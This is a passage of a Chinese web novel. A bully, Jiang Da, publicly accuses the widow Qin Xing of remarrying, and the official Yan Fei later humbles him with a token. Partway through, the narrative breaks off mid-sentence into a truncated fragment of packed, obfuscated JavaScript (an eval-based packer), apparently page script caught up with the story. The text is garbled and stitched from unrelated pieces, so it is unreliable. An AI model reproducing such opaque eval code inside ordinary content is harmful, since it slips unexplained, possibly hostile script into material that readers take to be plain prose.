在两人面前立住后,他稀罕得看着秦杏道:“今日吹得哪般风?李全家的,你咋上县城来了?” 秦杏把头埋得更低了些,身子朝墙壁方向退了一步。 她不做声,还一副忍让的姿势,反而越发让江大肯定了她的身份。 “哟,这是谁?”他纳罕地看了阎非一眼。 “李全死了才多久,你就耐不住改嫁了?” 奚落的语气,挑衅的话语,新仇加旧恨,秦杏顿住后退的脚步,越埋越低的头倏地抬起。 “你哪只眼看到我身上写了改嫁二字?” 江大嗤笑一声,食指和中指弯曲对着自己的眼睛。 “我,两只眼,清清楚楚看到了。” 此时店里剩下的食客都停止了进食,好奇地把视线投了过来。 这么多视线让受人瞩目的江大老神在在地张开了双臂,他转头让周围人评理,“大家都看看,青天白日,孤男寡女光明正大同桌吃饭——你说你没改嫁,那这是找到姘头了咯?” “可怜我那李全兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只江大那家伙还不死心,捂着肚子,脸上冒出一头冷汗,挣扎着仰头要去看清那令牌。 阎非并未收回,冷着脸随他观看。 江大觑两眼令牌,再看看阎非的脸色。 几个来回后,终于脸色灰败地匍匐下了身子,扇着自己耳光颤声求饶。 阎非不动如山,冷眼看着他左右开弓,在脸皮上打了十数个耳光。 不过,他心里没有真的要把江大送去官府的意思。 一来,他此刻没那么多闲工夫去官府状告。 二来,出言不逊这个罪名可大可小。他是北地的武官,若是在西北边关遇上这等子人,他只需把人送去衙门,衙门里头的人自会从重判处。 可现如今他身在南边,所谓强龙不压地头蛇。 是以,息事宁人为上。 回头,见秦杏早已平怒。 阎非便递了个眼色,略过地上的江大,与秦杏一前一后出了店铺。